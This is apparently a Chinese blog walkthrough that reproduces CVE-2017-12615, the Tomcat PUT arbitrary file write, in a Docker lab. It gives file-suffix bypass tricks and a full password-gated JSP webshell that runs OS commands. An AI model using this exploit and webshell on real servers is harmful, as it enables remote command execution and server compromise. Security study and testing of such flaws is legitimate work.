Tomcat 通过 PUT 方法任意写入文件漏洞 (CVE-2017-12615)

Tomcat 通过 PUT 方法任意写入文件漏洞 (CVE-2017-12615) 漏洞复现

1.影响范围

Apache Tomcat 7.0.0 - 7.0.81

2.环境设置

docker-compose build
docker-compose up -d

Tomcat 通过 PUT 方法任意写入文件漏洞 (CVE-2017-12615)_第1张图片成功运行以上命令后,您将通过访问站点看到Tomcat的示例页面http://your-ip:8080。
Tomcat 通过 PUT 方法任意写入文件漏洞 (CVE-2017-12615)_第2张图片

3.漏洞介绍

CVE-2017-12615 对应的漏洞为任意文件写入,由于配置不当(非默认配置),导致可以使用 PUT 方法上传任意文件 。Tomcat设置了写权限(readonly=false),导致可以使用PUT方法上传任意文件。

4.基本原理

在Tomcat 配置文件设置了 PUT 上传方法,在 web.xml 文件,可以发现,默认 readonly 为 true ,当 readonly设置为 false 时,可以通过 PUT / DELETE 进行文件操控


    default
    org.apache.catalina.servlets.DefaultServlet
    
        debug
        0
    
    
        listings
        false
    
    
        readonly
        false
    
    1

虽然Tomcat在一定程度上会检查文件后缀(不能直接写jsp),但是我们还是可以通过一些文件系统的特性来绕过这个限制(比如/在Linux中使用)。

5. 漏洞复现

这里使用Tomcat 版本:8.5.19
虽然 Tomcat 对文件后缀有一定检测(不能直接写 jsp ),但我们使用一些文件系统的特性(如 Linux 下可用 / )来绕过了限制
访问根目录抓包
Tomcat 通过 PUT 方法任意写入文件漏洞 (CVE-2017-12615)_第3张图片
修改第一行为PUT和增加PUT请求体,修改后为

Tomcat 通过 PUT 方法任意写入文件漏洞 (CVE-2017-12615)_第4张图片
可以看到返回404,是不允许的。

Tomcat 通过 PUT 方法任意写入文件漏洞 (CVE-2017-12615)_第5张图片
当我们在.jsp后加入/

Tomcat 通过 PUT 方法任意写入文件漏洞 (CVE-2017-12615)_第6张图片这里主要就是绕过文件上传限制

后缀名后加/可绕过上传
PUT /2.jsp/ HTTP/1.1

文件名后缀加::$DATA
上传文件后缀名加上%20
上传文件名后缀加上 .

访问刚上传的.jsp文件,发现可访问,从而确定存在CVE-2017-12615漏洞
在这里插入图片描述用burpsuite 进行抓包并做如下修改(GET请求改为PUT,修改名字,并在下面添加jsp的shell)

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
 
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
"+excuteCmd(request.getParameter("cmd"))+"
");}else{out.println(":-)");}%>

Tomcat 通过 PUT 方法任意写入文件漏洞 (CVE-2017-12615)_第7张图片上传成功后便可远程进行命令执行,如下图所示:
Tomcat 通过 PUT 方法任意写入文件漏洞 (CVE-2017-12615)_第8张图片

你可能感兴趣的:(漏洞复现,tomcat,java,linux,系统安全,安全威胁分析)